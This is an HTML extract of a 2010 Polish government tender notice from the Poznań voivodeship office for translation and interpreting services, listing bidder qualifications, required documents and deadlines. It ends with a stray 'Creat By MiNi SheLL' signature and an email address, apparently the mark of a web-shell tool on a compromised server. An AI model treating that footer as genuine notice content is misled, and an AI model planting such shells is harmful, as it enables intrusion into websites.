<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8, 79.54.00.00-1.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2011.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> nie dotyczy</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>W zakresie posiadanej wiedzy i doświadczenia, Zamawiający żąda wykazania się wykonaniem w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie wykonali: 
a)	minimum 10 tłumaczeń pisemnych przysięgłych i minimum 5 tłumaczeń pisemnych zwykłych materiałów z zakresu przynajmniej jednej z następujących dziedzin: administracji publicznej, spraw międzynarodowych, Unii Europejskiej, funduszy strukturalnych, prawa, 
b)	minimum 10 tłumaczeń ustnych konsekutywnych i minimum 5 tłumaczeń ustnych symultanicznych podczas konferencji lub oficjalnych spotkań z udziałem gości zagranicznych,</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>W zakresie dysponowania odpowiednim potencjałem technicznym oraz osobami zdolnymi do wykonania zamówienia, Zamawiający żąda dysponowania minimum 2 tłumaczami dla każdego języka wymienionego w I grupie językowej (angielskiego, niemieckiego, francuskiego, rosyjskiego), legitymującymi się: w przypadku tłumaczy zwykłych dyplomem ukończenia studiów wyższych  z tytułem magistra danej filologii obcej, a w przypadku tłumaczy przysięgłych zaświadczeniem Ministra Sprawiedliwości o wpisaniu na listę tłumaczy przysięgłych. 
Zarówno tłumacze zwykli, jak i przysięgli winni mieć co najmniej 2-letnie doświadczenie w: 
a)	tłumaczeniach pisemnych, w tym dotyczących zagadnień z zakresu przynajmniej jednej z następujących dziedzin: 
administracji publicznej, 
Unii Europejskiej, 
funduszy strukturalnych, 
spraw międzynarodowych, 
prawa, 
finansów publicznych, 
ochrony środowiska, 
polityki społecznej, 
informatyki, 
spraw wojskowych, 
medycyny, 
zarządzania, 
rozwoju regionalnego, 
b)	tłumaczeniach ustnych konsekutywnych lub symultanicznych, w tym dotyczących zagadnień z zakresu przynajmniej jednej z następujących dziedzin: 
administracji publicznej, 
Unii Europejskiej, 
funduszy strukturalnych, 
spraw międzynarodowych, 
prawa, 
finansów publicznych, 
ochrony środowiska, 
polityki społecznej, 
informatyki, 
spraw wojskowych, 
medycyny, 
zarządzania, 
rozwoju regionalnego. 
Osoby wymienione w punkcie a) i b)mogą być jednocześnie tłumaczami ustnymi i pisemnymi. 
Wskazanym jest dołączyć do oferty dokumenty potwierdzające posiadanie ww uprawnień.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>

<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.	Zamawiający przewiduje możliwość wprowadzenia zmian do umowy, jeżeli zmiany są korzystne dla Zamawiającego albo nie można było ich przewidzieć w chwili zawarcia umowy. W takim przypadku sporządzony zostanie stosowny aneks do umowy. Warunki zmiany umowy zostaną ustalone pomiędzy Zamawiającym a Wykonawcą.
2.	W szczególności dopuszczalna będzie zmiana umowy dotycząca zmiany terminu płatności z przyczyn nie leżących po stronie Zamawiającego.
3.	Zmiana postanowień zawartej umowy wymaga, pod rygorem nieważności, zachowania formy pisemnej. 
4.	Zmiana umowy, o której mowa w pkt. 2 i 3, następuje na pisemny wniosek strony umowy, zawierający wykazanie okoliczności umożliwiających dokonanie zmiany, to jest wskazanie przedmiotu i zakresu zmiany, uzasadnienie  zmiany, wpływ  zmiany na termin zakończenia umowy.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.poznan.uw.gov.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Wielkopolski Urząd Wojewódzki w Poznaniu Al. Niepodległości 16/18 pokój 457, budynek A, poniedziałek od 08:00 do 16:00, wtorek-piątek od 07:30 do 15:30 lub za pobraniem pocztowym.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 10.12.2010 godzina 10:00, miejsce: Sekretariat Biura Organizacyjno-Administracyjnego Wielkopolskiego Urzędu Wojewódzkiego w Poznaniu, Al. Niepodległości 16/18 pokój 373, budynek A.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com